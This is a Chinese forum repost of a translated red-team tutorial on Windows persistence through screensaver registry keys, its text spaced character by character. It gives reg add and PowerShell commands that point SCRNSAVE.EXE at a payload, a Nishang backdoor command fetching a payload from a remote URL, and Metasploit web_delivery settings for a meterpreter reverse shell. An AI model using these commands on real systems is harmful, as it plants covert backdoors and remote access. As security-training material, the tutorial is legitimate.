搜索

[947] 2019-11-11_Window权限维持（五）：屏幕保护程序

文档创建者：s7ckTeam
浏览次数：9
最后更新：2025-01-16
2019-11-11_Window权限维持（五）：屏幕保护程序 W i n d o w 权 限 维 持 （ 五 ） ： 屏 幕 保 护 程 序 原 创   B y p a s s   B y p a s s   2 0 1 9 - 1 1 - 1 1 屏 幕 保 护 是 W i n d o w s 功 能 的 一 部 分 ， 使 用 户 可 以 在 一 段 时 间 不 活 动 后 放 置 屏 幕 消 息 或 图 形 动 画 。 众 所 周 知 ， W i n d o w s 的 此 功 能 被 威 胁 参 与 者 滥 用 为 持 久 性 方 法 。 这 是 因 为 屏 幕 保 护 程 序 是 具 有 . s c r 文 件 扩 展 名 的 可 执 行 文 件 ， 并 通 过 s c r n s a v e . s c r 实 用 程 序 执 行 。 屏 幕 保 护 程 序 设 置 存 储 在 注 册 表 中 ， 从 令 人 反 感 的 角 度 来 看 ， 最 有 价 值 的 值 是 ： 屏 幕 保 护 程 序 – 注 册 表 项 可 以 通 过 命 令 提 示 符 或 从 P o w e r S h e l l 控 制 台 修 改 或 添 加 注 册 表 项 。 由 于 . s c r 文 件 本 质 上 是 可 执 行 文 件 ， 因 此 两 个 扩 展 名 都 可 以 用 于 后 门 植 入 。 H K E Y _ C U R R E N T _ U S E R C o n t r o l   P a n e l D e s k t o p S C R N S A V E . E X E H K E Y _ C U R R E N T _ U S E R C o n t r o l   P a n e l D e s k t o p S c r e e n S a v e A c t i v e H K E Y _ C U R R E N T _ U S E R C o n t r o l   P a n e l D e s k t o p S c r e e n S a v e r I s S e c u r e H K E Y _ C U R R E N T _ U S E R C o n t r o l   P a n e l D e s k t o p S c r e e n S a v e T i m e O u t r e g   a d d   " h k c u c o n t r o l   p a n e l d e s k t o p "   / v   S C R N S A V E . E X E   / d   c : t m p p e n t e s t l a b . e x e r e g   a d d   " h k c u c o n t r o l   p a n e l d e s k t o p "   / v   S C R N S A V E . E X E   / d   c : t m p p e n t e s t l a b . s c r N e w - I t e m P r o p e r t y   - P a t h   ' H K C U : C o n t r o l   P a n e l D e s k t o p '   - N a m e   ' S C R N S A V E . E X E '   - V a l u e   ' c : t m p p e n t e s t l a b . e x e ' N e w - I t e m P r o p e r t y   - P a t h   ' H K C U : C o n t r o l   P a n e l D e s k t o p '   - N a m e   ' S C R N S A V E . E X E '   - V a l u e   ' c : t m p p e n t e s t l a b . s c r '
添 加 注 册 表 项 –   C M D 和 P o w e r S h e l l 一 旦 机 器 不 活 动 时 间 段 过 去 ， 将 执 行 任 意 有 效 载 荷 ， 并 且 将 再 次 建 立 命 令 和 控 制 的 通 信 。 屏 幕 保 护 程 序 –   M e t e r p r e t e r N i s h a n g 框 架 包 含 一 个 P o w e r S h e l l 脚 本 ， 该 脚 本 也 可 以 执 行 此 攻 击 ， 但 与 上 述 方 法 相 比 ， 它 需 要 管 理 级 别 的 特 权 ， 因 为 它 在 本 地 计 算 机 中 使 用 注 册 表 项 来 存 储 将 执 行 远 程 托 管 有 效 负 载 的 P o w e r S h e l l 命 令 。 这 种 技 术 的 好 处 是 它 不 会 接 触 磁 盘 。 I m p o r t - M o d u l e   . A d d - S c r n S a v e B a c k d o o r . p s 1 A d d - S c r n S a v e B a c k d o o r   - P a y l o a d U R L   h t t p : / / 1 9 2 . 1 6 8 . 2 5 4 . 1 4 5 : 8 0 8 0 / B e b r 7 a O e m w F J O
N i s h a n g   – 屏 幕 保 护 程 序 后 门 在 这 种 情 况 下 ， 可 以 使 用 M e t a s p l o i t   W e b 交 付 模 块 生 成 并 托 管 P o w e r S h e l l 负 载 。 一 旦 用 户 会 话 变 为 空 闲 ， 屏 幕 保 护 程 序 将 执 行 P o w e r S h e l l 负 载 ， 然 后 将 打 开 一 个 m e t e r p r e t e r 会 话 。 M e t e r p r e t e r   – 屏 幕 保 护 程 序 利 用 屏 幕 保 护 程 序 的 持 久 性 技 术 的 问 题 在 于 ， 当 用 户 返 回 并 且 系 统 未 处 于 空 闲 模 式 时 ， 会 话 将 中 断 。 但 是 ， 红 队 可 以 在 用 户 不 在 时 执 行 其 操 作 。 如 果 屏 幕 保 护 程 序 被 组 策 略 禁 用 ， 则 该 技 术 不 能 用 于 持 久 性 。 u s e   e x p l o i t / m u l t i / s c r i p t / w e b _ d e l i v e r y s e t   p a y l o a d   w i n d o w s / x 6 4 / m e t e r p r e t e r / r e v e r s e _ t c p s e t   L H O S T   I P _ A d d r e s s s e t   t a r g e t   2 e x p l o i t
译 文 声 明 ： 本 文 由 B y p a s s 整 理 并 翻 译 ， 仅 用 于 安 全 研 究 和 学 习 之 用 。 原 文 地 址 ： h t t p s : / / p e n t e s t l a b . b l o g / 2 0 1 9 / 1 0 / 0 9 / p e r s i s t e n c e - s c r e e n s a v e r /
回复

举报

高级模式
B Color Image Link Quote Code Smilies
您需要登录后才可以回帖 登录 | 立即注册

本版积分规则

使用Markdown编辑器编辑 使用富文本编辑器编辑

Archiver| 手机版| 小黑屋|
Powered by Discuz! X3.4 Copyright © 2001-2020, Tencent Cloud. 商业源码建议获取授权，如侵犯您的权益，请联系客服处理